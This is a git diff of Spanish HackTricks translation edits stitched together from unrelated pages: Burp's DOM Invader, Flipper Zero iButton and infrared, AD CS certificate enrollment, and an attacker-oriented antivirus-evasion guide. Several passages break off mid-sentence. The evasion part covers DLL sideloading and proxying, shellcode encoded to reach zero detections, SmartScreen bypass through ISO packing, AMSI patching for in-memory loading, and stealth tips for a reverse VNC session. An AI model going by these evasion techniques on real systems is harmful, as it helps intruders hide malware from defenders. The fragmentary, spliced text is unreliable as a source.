* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -1,23 +1,37 @@
# Invador de DOM
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Invador de DOM
DOM Invader es una herramienta de navegador instalada en el navegador integrado de Burp. Ayuda a **detectar vulnerabilidades de XSS en el DOM** utilizando varias fuentes y sumideros, incluyendo mensajes web y contaminación de prototipos. La herramienta está preinstalada como una extensión.
DOM Invader integra una pestaña dentro del panel DevTools del navegador que permite lo siguiente:
DOM Invader integra una pestaña dentro del panel de DevTools del navegador que permite lo siguiente:
1. **Identificación de sumideros controlables** en una página web para pruebas de XSS en el DOM, proporcionando detalles de contexto y de saneamiento.
1. **Identificación de sumideros controlables** en una página web para pruebas de XSS en el DOM, proporcionando detalles de contexto y de sanitización.
2. **Registro, edición y reenvío de mensajes web** enviados a través del método `postMessage()` para pruebas de XSS en el DOM. DOM Invader también puede detectar automáticamente vulnerabilidades utilizando mensajes web especialmente diseñados.
3. Detección de **fuentes de contaminación de prototipos del lado del cliente** y escaneo de dispositivos controlables enviados a sumideros riesgosos.
4. Identificación de **vulnerabilidades de clobbering del DOM**.
### Habilitarlo
### Habilitar
En el navegador integrado de Burp, vaya a la **extensión de Burp** y habilítela:
<figure><img src="../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ahora actualice la página y en las **Dev Tools** encontrará la pestaña **DOM Invader:**
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
### Inyectar un canario
@ -31,9 +45,9 @@ Si solo desea encontrar sumideros potenciales que la página pueda tener, inclus
### Mensajes de publicación
DOM Invader permite probar XSS en el DOM utilizando mensajes web con características como:
DOM Invader permite probar XSS en el DOM utilizando mensajes web con funciones como:
1. **Registro de mensajes web** enviados a través de `postMessage()`, similar al registro de historial de solicitudes/respuestas HTTP de Burp Proxy.
1. **Registro de mensajes web** enviados a través de `postMessage()`, similar al registro de historial de solicitudes / respuestas HTTP de Burp Proxy.
2. **Modificación** y **reenvío** de mensajes web para probar manualmente XSS en el DOM, similar a la función de Burp Repeater.
3. **Alteración automática** y envío de mensajes web para sondear XSS en el DOM.
@ -41,9 +55,9 @@ DOM Invader permite probar XSS en el DOM utilizando mensajes web con caracterís
Puede hacer clic en cada mensaje para ver información más detallada sobre él, incluyendo si las propiedades `origin`, `data` o `source` del mensaje son accedidas por el JavaScript del lado del cliente.
* **`origin`**: Si la **información de origen del mensaje no se comprueba**, es posible que pueda enviar mensajes de origen cruzado al controlador de eventos **desde un dominio externo arbitrario**. Pero si se comprueba, aún podría ser inseguro.
* **`origin`**: Si la **información de origen del mensaje no se comprueba**, es posible que pueda enviar mensajes entre dominios al controlador de eventos **desde un dominio externo arbitrario**. Pero si se comprueba, aún podría ser inseguro.
* **`data`**: Aquí es donde se envía la carga útil. Si estos datos no se utilizan, el sumidero es inútil.
* **`source`**: Evalúa si la propiedad de origen, que generalmente hace referencia a un iframe, está validada en lugar del origen. Incluso si esto se comprueba, no asegura que la validación no pueda ser eludida.
* **`source`**: Evalúa si la propiedad de origen, que generalmente hace referencia a un iframe, se valida en lugar del origen. Incluso si esto se comprueba, no asegura que la validación no pueda ser eludida.
#### Responder a un mensaje
@ -55,11 +69,11 @@ Puede hacer clic en cada mensaje para ver información más detallada sobre él,
DOM Invader también puede buscar **vulnerabilidades de contaminación de prototipos**. Primero, debe habilitarlo:
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
Luego, buscará **fuentes** que le permitan agregar propiedades arbitrarias al **`Object.prototype`**.
Si se encuentra algo, aparecerá un botón de **Prueba** para **probar la fuente encontrada**. Haga clic en él, aparecerá una nueva pestaña, cree un objeto en la consola y compruebe si existe la propiedad `testproperty`:
Si se encuentra algo, aparecerá un botón **Prueba** para **probar la fuente encontrada**. Haga clic en él, aparecerá una nueva pestaña, cree un objeto en la consola y compruebe si existe la propiedad `testproperty`:
```javascript
let b = {}
b.testproperty

View File

@ -24,19 +24,19 @@ Para obtener más información sobre qué es un iButton, consulte:
La parte **azul** de la siguiente imagen es cómo debería **colocar el iButton real** para que el Flipper pueda **leerlo**. La parte **verde** es cómo debe **tocar el lector** con el Flipper zero para **emular correctamente un iButton**.
<figure><img src="../../../.gitbook/assets/image (20) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (20).png" alt=""><figcaption></figcaption></figure>
## Acciones
### Leer
En el modo de lectura, Flipper está esperando que la llave iButton toque y es capaz de digerir cualquiera de los tres tipos de llaves: **Dallas, Cyfral y Metakom**. Flipper **determinará el tipo de llave por sí mismo**. El nombre del protocolo de la llave se mostrará en la pantalla sobre el número de identificación.
En el modo de lectura, Flipper está esperando que se toque la llave iButton y es capaz de digerir cualquiera de los tres tipos de llaves: **Dallas, Cyfral y Metakom**. Flipper **determinará el tipo de llave por sí mismo**. El nombre del protocolo de la llave se mostrará en la pantalla encima del número de identificación.
### Añadir manualmente
Es posible **añadir manualmente** un iButton de tipo: **Dallas, Cyfral y Metakom**.
### **Emular**
### Emular
Es posible **emular** iButtons guardados (leídos o añadidos manualmente).

View File

@ -14,9 +14,9 @@
## Introducción
iButton es un nombre genérico para una llave de identificación electrónica empaquetada en un **contenedor metálico en forma de moneda**. También se llama memoria táctil Dallas o memoria de contacto. Aunque a menudo se le llama erróneamente una llave "magnética", no hay **nada magnético** en ella. De hecho, un microchip completo que opera en un protocolo digital está oculto en su interior.
iButton es un nombre genérico para una llave de identificación electrónica empaquetada en un **contenedor de metal en forma de moneda**. También se llama memoria táctil de Dallas o memoria de contacto. Aunque a menudo se le llama erróneamente una llave "magnética", no hay **nada magnético** en ella. De hecho, un microchip completo que opera en un protocolo digital está oculto en su interior.
<figure><img src="../../.gitbook/assets/image (19) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (19).png" alt=""><figcaption></figcaption></figure>
### ¿Qué es iButton? <a href="#what-is-ibutton" id="what-is-ibutton"></a>

View File

@ -32,7 +32,7 @@ Los protocolos de infrarrojos difieren en 3 factores:
Los bits se codifican mediante la modulación de la duración del espacio entre pulsos. El ancho del pulso en sí es constante.
<figure><img src="../../.gitbook/assets/image (16) (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
**2. Codificación de ancho de pulso**
@ -42,7 +42,7 @@ Los bits se codifican mediante la modulación del ancho del pulso. El ancho del
**3. Codificación de fase**
También se conoce como codificación Manchester. El valor lógico se define por la polaridad de la transición entre el estallido de pulso y el espacio. "Espacio a estallido de pulso" denota la lógica "0", "estallido de pulso a espacio" denota la lógica "1".
También se conoce como codificación de Manchester. El valor lógico se define por la polaridad de la transición entre el estallido de pulso y el espacio. "Espacio a estallido de pulso" denota la lógica "0", "estallido de pulso a espacio" denota la lógica "1".
<figure><img src="../../.gitbook/assets/image (25).png" alt=""><figcaption></figcaption></figure>
@ -62,7 +62,7 @@ La forma más fiable de ver cómo se ve la señal de infrarrojos del mando a dis
Por lo general, hay un preámbulo al principio de un paquete codificado. Esto permite al receptor determinar el nivel de ganancia y el fondo. También hay protocolos sin preámbulo, por ejemplo, Sharp.
Luego se transmite la información. La estructura, el preámbulo y el método de codificación de bits son determinados por el protocolo específico.
A continuación se transmite la información. La estructura, el preámbulo y el método de codificación de bits son determinados por el protocolo específico.
El **protocolo NEC de infrarrojos** contiene un comando corto y un código de repetición, que se envía mientras se presiona el botón. Tanto el comando como el código de repetición tienen el mismo preámbulo al principio.
@ -75,4 +75,4 @@ Para la lógica "0" y "1", NEC utiliza la codificación de distancia de pulso: p
### Acondicionadores de aire
A diferencia de otros mandos a distancia, **los acondicionadores de aire no transmiten sólo el código del botón pulsado**. También **transmiten toda la información** cuando se pulsa un botón para asegurarse de que la **máquina de aire acondicionado y el mando a distancia estén sincronizados**.\
Esto evitará que una máquina configurada a 20ºC
Esto evitará que una máquina configurada a 20ºC se aumente a

View File

@ -11,7 +11,7 @@
* **Emisor** - Identifica quién emitió el certificado (comúnmente una CA).
* **SubjectAlternativeName** - Define uno o más nombres alternativos que el sujeto puede tener. (_Ver abajo_)
* **Restricciones básicas** - Identifica si el certificado es una CA o una entidad final, y si hay alguna restricción al usar el certificado.
* **Usos extendidos de claves (EKUs)** - Identificadores de objetos (OID) que describen **cómo se usará el certificado**. También conocido como Uso mejorado de claves en el lenguaje de Microsoft. Los OID comunes de EKU incluyen:
* **Usos extendidos de claves (EKUs)** - Identificadores de objetos (OID) que describen **cómo se usará el certificado**. También conocido como Uso mejorado de claves en el lenguaje de Microsoft. Los OID EKU comunes incluyen:
* Firma de código (OID 1.3.6.1.5.5.7.3.3) - El certificado es para firmar código ejecutable.
* Sistema de archivos cifrado (OID 1.3.6.1.4.1.311.10.3.4) - El certificado es para cifrar sistemas de archivos.
* Correo electrónico seguro (1.3.6.1.5.5.7.3.4) - El certificado es para cifrar correo electrónico.
@ -25,21 +25,21 @@
Un **nombre alternativo de sujeto** (SAN) es una extensión X.509v3. Permite que se vinculen **identidades adicionales** a un **certificado**. Por ejemplo, si un servidor web aloja **contenido para varios dominios**, **cada** dominio **aplicable** podría ser **incluido** en el **SAN** para que el servidor web solo necesite un certificado HTTPS.
Por defecto, durante la autenticación basada en certificados, AD mapea los certificados a las cuentas de usuario basándose en un UPN especificado en el SAN. Si un atacante puede **especificar un SAN arbitrario** al solicitar un certificado que tenga un **EKU que permita la autenticación del cliente**, y la CA crea y firma un certificado utilizando el SAN suministrado por el atacante, el **atacante puede convertirse en cualquier usuario del dominio**.
Por defecto, durante la autenticación basada en certificados, AD mapea los certificados a las cuentas de usuario basándose en un UPN especificado en el SAN. Si un atacante puede **especificar un SAN arbitrario** al solicitar un certificado que tenga un **EKU que habilite la autenticación del cliente**, y la CA crea y firma un certificado usando el SAN suministrado por el atacante, el **atacante puede convertirse en cualquier usuario del dominio**.
### CAs
AD CS define los certificados de CA en cuatro ubicaciones en el contenedor `CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>` que difieren en su propósito:
* El contenedor **Certification Authorities** define los **certificados de CA raíz de confianza**. Estas CAs están en la **parte superior de la jerarquía del árbol PKI** y son la base de la confianza en los entornos de AD CS. Cada CA se representa como un objeto AD dentro del contenedor donde la **objectClass** está configurada como **`certificationAuthority`** y la propiedad **`cACertificate`** contiene los **bytes del certificado de la CA**. Windows propaga estos certificados de CA a la tienda de certificados de Autoridades de Certificación Raíz de Confianza en **cada máquina con Windows**. Para que AD considere un certificado como **confiable**, la cadena de confianza del certificado debe terminar eventualmente con **uno de los CA raíz** definidos en este contenedor.
* El contenedor **Certification Authorities** define los **certificados de CA raíz de confianza**. Estas CAs están en la **parte superior de la jerarquía del árbol PKI** y son la base de la confianza en los entornos de AD CS. Cada CA se representa como un objeto AD dentro del contenedor donde la **objectClass** se establece en **`certificationAuthority`** y la propiedad **`cACertificate`** contiene los **bytes del certificado de la CA**. Windows propaga estos certificados de CA a la tienda de certificados de Autoridades de Certificación Raíz de Confianza en **cada máquina con Windows**. Para que AD considere un certificado como **confiable**, la cadena de confianza del certificado debe terminar eventualmente con **uno de los CA raíz** definidos en este contenedor.
* El contenedor **Enrolment Services** define cada **CA empresarial** (es decir, CAs creadas en AD CS con el rol de CA empresarial habilitado). Cada CA empresarial tiene un objeto AD con los siguientes atributos:
* Un atributo **objectClass** a **`pKIEnrollmentService`**
* Un atributo **`cACertificate`** que contiene los **bytes del certificado de la CA**
* Un atributo **`dNSHostName`** que establece el **nombre de host DNS de la CA**
* Un campo **certificateTemplates** que define las **plantillas de certificado habilitadas**. Las plantillas de certificado son un "modelo" de configuraciones que la CA utiliza al crear un certificado, e incluyen cosas como los EKUs, los permisos de inscripción, la expiración del certificado, los requisitos de emisión y las configuraciones de criptografía. Discutiremos las plantillas de certificado con más detalle más adelante.
* Un atributo **`dNSHostName`** que establece el **host DNS de la CA**
* Un campo **certificateTemplates** que define las **plantillas de certificado habilitadas**. Las plantillas de certificado son un "modelo" de configuración que la CA utiliza al crear un certificado, e incluyen cosas como los EKUs, los permisos de inscripción, la caducidad del certificado, los requisitos de emisión y la configuración de la criptografía. Discutiremos las plantillas de certificado con más detalle más adelante.
{% hint style="info" %}
En los entornos de AD, los **clientes interactúan con las CAs empresariales para solicitar un certificado
En los entornos de AD, los **clientes interactúan con las CAs empresariales para solicitar un certificado** basado en la configuración definida en una
### Derechos de inscripción de plantillas de certificados
* **El ACE otorga a un principal el derecho extendido de inscripción de certificados**. El ACE bruto otorga al principal el derecho de acceso `RIGHT_DS_CONTROL_ACCESS45` donde el **ObjectType** se establece en `0e10c968-78fb-11d2-90d4-00c04f79dc5547`. Este GUID corresponde al derecho extendido de **inscripción de certificados**.
@ -49,13 +49,13 @@ En los entornos de AD, los **clientes interactúan con las CAs empresariales par
### Derechos de inscripción de CA empresarial
El **descriptor de seguridad** configurado en el **CA empresarial** define estos derechos y es **visible** en la instantánea MMC del certificado `certsrv.msc` haciendo clic derecho en el CA → Propiedades → Seguridad.
El **descriptor de seguridad** configurado en el **CA empresarial** define estos derechos y es **visible** en la instantánea MMC del certificado `certsrv.msc` al hacer clic derecho en el CA → Propiedades → Seguridad.
<figure><img src="../../.gitbook/assets/image (7) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
Esto finalmente establece el valor del registro de seguridad en la clave **`HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration<NOMBRE DE CA>`** en el servidor CA. Hemos encontrado varios servidores AD CS que otorgan a los usuarios de bajo privilegio acceso remoto a esta clave a través del registro remoto:
Esto finalmente termina configurando el valor del registro de seguridad en la clave **`HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration<NOMBRE DE CA>`** en el servidor CA. Hemos encontrado varios servidores AD CS que otorgan a los usuarios de bajo privilegio acceso remoto a esta clave a través del registro remoto:
<figure><img src="../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (6) (2) (1).png" alt=""><figcaption></figcaption></figure>
Los usuarios de bajo privilegio también pueden **enumerar esto a través de DCOM** utilizando el método `GetCASecurity` de la interfaz COM `ICertAdminD2`. Sin embargo, los clientes normales de Windows deben instalar las Herramientas de administración remota del servidor (RSAT) para usarlo, ya que la interfaz COM y cualquier objeto COM que la implemente no están presentes en Windows de forma predeterminada.
@ -76,19 +76,19 @@ La aprobación del **administrador del certificado de CA** resulta en que la pla
Un uso común para estas configuraciones es para **agentes de inscripción**. Un agente de inscripción es un término de AD CS dado a una entidad que puede **solicitar certificados en nombre de otro usuario**. Para hacerlo, el CA debe emitir al agente de inscripción una cuenta de certificado que contenga al menos el **EKU de agente de solicitud de certificado** (OID 1.3.6.1.4.1.311.20.2.1). Una vez emitido, el agente de inscripción puede **firmar CSR y solicitar certificados en nombre de otros usuarios**. El CA emitirá al agente de inscripción un **certificado** como **otro usuario** solo bajo el siguiente conjunto no exhaustivo de **condiciones** (implementado principalmente en el módulo de política predeterminado `certpdef.dll`):
* El usuario de Windows que se autentica en el CA tiene derechos de inscripción en la plantilla de certificado de destino.
* Si la versión del esquema de la plantilla de certificado es 1, el CA requerirá que los certificados de firma tengan el OID de agente de solicitud de certificado antes de emitir el certificado. La versión del esquema de la plantilla es la especificada en la propiedad msPKI-Template-Schema-Version del objeto AD de la plantilla.
* Si la versión del esquema de la plantilla de certificado es 1, el CA requerirá que los certificados de firma tengan el OID de agente de solicitud de certificado antes de emitir el certificado. La versión del esquema de la plantilla se especifica en la propiedad msPKI-Template-Schema-Version del objeto AD.
* Si la versión del esquema de la plantilla de certificado es 2:
* La plantilla debe establecer la configuración "Este número de firmas autorizadas" y el número especificado de agentes de inscripción debe firmar el CSR (el atributo AD mspkira-signature de la plantilla define esta configuración). En otras palabras, esta configuración especifica cuántos agentes de inscripción deben firmar un CSR antes de que el CA siquiera considere emitir un certificado.
* La restricción de emisión de "Política de aplicación" de la plantilla debe establecerse en "Agente de solicitud de certificado".
### Solicitar certificados
1. Usando el **Protocolo de inscripción de cert
1. Usando el **Protocolo de inscripción de certificados de cliente de Windows**
## Enumeración de AD CS
Al igual que para la mayoría de AD, toda la información cubierta hasta ahora está disponible mediante la consulta de LDAP como un usuario autenticado en el dominio, pero de lo contrario sin privilegios.
Si queremos **enumerar los CAs empresariales** y sus configuraciones, se puede consultar LDAP utilizando el filtro LDAP `(objectCategory=pKIEnrollmentService)` en la base de búsqueda `CN=Configuration,DC=<dominio>,DC=<com>` (esta base de búsqueda corresponde con el contexto de nomenclatura de Configuración del bosque AD). Los resultados identificarán el nombre DNS del servidor CA, el nombre del CA en sí, las fechas de inicio y finalización del certificado, varias banderas, plantillas de certificados publicadas y más.
Si queremos **enumerar los CAs empresariales** y sus configuraciones, se puede consultar LDAP utilizando el filtro LDAP `(objectCategory=pKIEnrollmentService)` en la base de búsqueda `CN=Configuration,DC=<dominio>,DC=<com>` (esta base de búsqueda corresponde con el contexto de nomenclatura de Configuración del bosque de AD). Los resultados identificarán el nombre DNS del servidor CA, el nombre del CA en sí, las fechas de inicio y finalización del certificado, varias banderas, plantillas de certificados publicadas y más.
**Herramientas para enumerar certificados vulnerables:**
@ -119,7 +119,7 @@ certutil -v -dstemplate #enumerate certificate templates
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -54,7 +54,7 @@ Resulta que el nombre del equipo Sandbox de Microsoft Defender es HAL9TH, por lo
Algunos otros consejos muy buenos de [@mgeeky](https://twitter.com/mariuszbit) para ir en contra de los Sandboxes
<figure><img src="../.gitbook/assets/image (2) (1) (1) (2).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (2) (1).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
Como hemos dicho antes en esta publicación, las **herramientas públicas** eventualmente **serán detectadas**, así que, deberías preguntarte algo:
@ -63,12 +63,12 @@ Por ejemplo, si quieres volcar LSASS, ¿realmente necesitas usar mimikatz? ¿O p
La respuesta correcta probablemente es la última. Tomando mimikatz como ejemplo, probablemente sea uno de, si no el malware más marcado por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para evitar los AV, así que busca alternativas para lo que estás tratando de lograr.
{% hint style="info" %}
Cuando modifiques tus cargas útiles para la evasión, asegúrate de **desactivar el envío automático de muestras** en Defender, y por favor, en serio, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr la evasión a largo plazo. Si quieres comprobar si tu carga útil es detectada por un AV en particular, instálalo en una VM, intenta desactivar el envío automático de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
Cuando modifiques tus cargas útiles para la evasión, asegúrate de **desactivar la presentación automática de muestras** en Defender, y por favor, en serio, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr la evasión a largo plazo. Si quieres comprobar si tu carga útil es detectada por un AV en particular, instálalo en una VM, intenta desactivar la presentación automática de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
{% endhint %}
## EXEs vs DLLs
Siempre que sea posible, **prioriza el uso de DLLs para la evasión**, en mi experiencia, los archivos DLL suelen
Siempre que sea posible, **prioriza el uso de DLLs para la evasión**, en mi experiencia
```powershell
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
@ -81,9 +81,9 @@ Este comando mostrará la lista de programas susceptibles a DLL hijacking dentro
Recomiendo encarecidamente que **exploréis vosotros mismos los programas DLL Hijackable/Sideloadable**, esta técnica es bastante sigilosa si se hace correctamente, pero si utilizáis programas DLL Sideloadable conocidos públicamente, podéis ser descubiertos fácilmente.
Simplemente colocando una DLL maliciosa con el nombre que espera cargar un programa, no cargará vuestra carga útil, ya que el programa espera algunas funciones específicas dentro de esa DLL, para solucionar este problema, utilizaremos otra técnica llamada **DLL Proxying/Forwarding**.
Simplemente colocando una DLL maliciosa con el nombre que espera cargar un programa, no cargará vuestro payload, ya que el programa espera algunas funciones específicas dentro de esa DLL, para solucionar este problema, utilizaremos otra técnica llamada **DLL Proxying/Forwarding**.
**DLL Proxying** reenvía las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de vuestra carga útil.
**DLL Proxying** reenvía las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de vuestro payload.
Utilizaré el proyecto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
@ -112,7 +112,7 @@ Estos son los resultados:
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
¡Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como la DLL proxy tienen una tasa de detección de 0/26 en [antiscan.me](https://antiscan.me)! Yo lo llamaría un éxito.
¡Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como el proxy DLL tienen una tasa de detección de 0/26 en [antiscan.me](https://antiscan.me)! Yo lo llamaría un éxito.
<figure><img src="../.gitbook/assets/image (11) (3).png" alt=""><figcaption></figcaption></figure>
@ -265,7 +265,7 @@ Burning file onto ISO:
[+] Generated file written to (size: 3420160): container.iso
```
Aquí hay una demostración de cómo evitar SmartScreen empaquetando cargas útiles dentro de archivos ISO utilizando [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
Aquí hay una demostración de cómo evitar SmartScreen empaquetando cargas útiles dentro de archivos ISO usando [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
<figure><img src="../.gitbook/assets/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
@ -273,7 +273,7 @@ Aquí hay una demostración de cómo evitar SmartScreen empaquetando cargas úti
Cargar binarios de C# en memoria ha sido conocido durante mucho tiempo y sigue siendo una forma muy efectiva de ejecutar tus herramientas de post-explotación sin ser detectado por el antivirus.
Dado que la carga útil se cargará directamente en memoria sin tocar el disco, solo tendremos que preocuparnos por parchar AMSI para todo el proceso.
Dado que la carga útil se cargará directamente en la memoria sin tocar el disco, solo tendremos que preocuparnos por parchar AMSI para todo el proceso.
La mayoría de los marcos de C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) ya proporcionan la capacidad de ejecutar ensamblados de C# directamente en memoria, pero hay diferentes formas de hacerlo:
@ -281,7 +281,7 @@ La mayoría de los marcos de C2 (sliver, Covenant, metasploit, CobaltStrike, Hav
Implica **generar un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando termines, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus inconvenientes. El beneficio del método de bifurcación y ejecución es que la ejecución ocurre **fuera** de nuestro proceso de implante Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **mayor probabilidad** de que nuestro **implante sobreviva**. La desventaja es que tienes una **mayor probabilidad** de ser detectado por **detecciones de comportamiento**.
<figure><img src="../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (7) (1) (3).png" alt=""><figcaption></figcaption></figure>
* **Inline**
@ -299,7 +299,7 @@ También puedes cargar ensamblados de C# **desde PowerShell**, consulta [Invoke-
Como se propone en [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), es posible ejecutar código malicioso utilizando otros lenguajes dando acceso a la máquina comprometida **al entorno del intérprete instalado en el recurso compartido SMB controlado por el atacante**.
Al permitir el acceso a los binarios del intérprete y al entorno en el recurso compartido SMB, puedes **ejecutar código arbitrario en estos lenguajes en la memoria** de la máquina comprometida.
Al permitir el acceso a los binarios del intérprete y al entorno en el recurso compartido SMB, puedes **ejecutar código arbitrario en estos lenguajes dentro de la memoria** de la máquina comprometida.
El repositorio indica: Defender todavía escanea los scripts, pero al utilizar Go, Java, PHP, etc., tenemos **más flexibilidad para evitar las firmas estáticas**. Las pruebas con scripts de shell inverso aleatorios y no ofuscados en estos lenguajes han resultado exitosas.
@ -313,7 +313,7 @@ Te animo a que veas esta charla de [@ATTL4S](https://twitter.com/DaniLJ94), para
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
Esta es también otra gran charla de [@mariuszbit](https://twitter.com/mariuszbit) sobre la evasión en profundidad.
Esta es también otra gran charla de [@mariuszbit](https://twitter.com/mariuszbit) sobre Evasión en profundidad.
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
@ -352,9 +352,9 @@ El **atacante** debe **ejecutar dentro** de su **host** el binario `vncviewer.ex
**ADVERTENCIA:** Para mantener el sigilo, no debes hacer algunas cosas
* No inicies `winvnc` si ya está en ejecución o activarás una [ventana emergente](https://i.imgur.com/1SROTTl.png). verifica si está en ejecución con `tasklist | findstr winvnc`
* No inicies `winvnc` si ya está en ejecución o desencadenarás una [ventana emergente](https://i.imgur.com/1SROTTl.png). verifica si está en ejecución con `tasklist | findstr winvnc`
* No inicies `winvnc` sin `UltraVNC.ini` en el mismo directorio o causará que se abra [la ventana de configuración](https://i.imgur.com/rfMQWcf.png)
* No ejecutes `winvnc -h` para obtener ayuda o activarás una [ventana emergente](https://i.imgur.com/oc18wcu.png)
* No ejecutes `winvnc -h` para obtener ayuda o desencadenarás una [ventana emergente](https://i.imgur.com/oc18wcu.png)
### GreatSCT
@ -418,13 +418,13 @@ El empaquetado es el proceso de comprimir y cifrar nuestro código para hacerlo
- **PyInstaller**: PyInstaller es una herramienta que puede empaquetar nuestro código en un archivo ejecutable independiente.
- **UPX**: UPX es una herramienta que puede comprimir nuestro archivo ejecutable para hacerlo más pequeño y más difícil de entender para las herramientas de análisis.
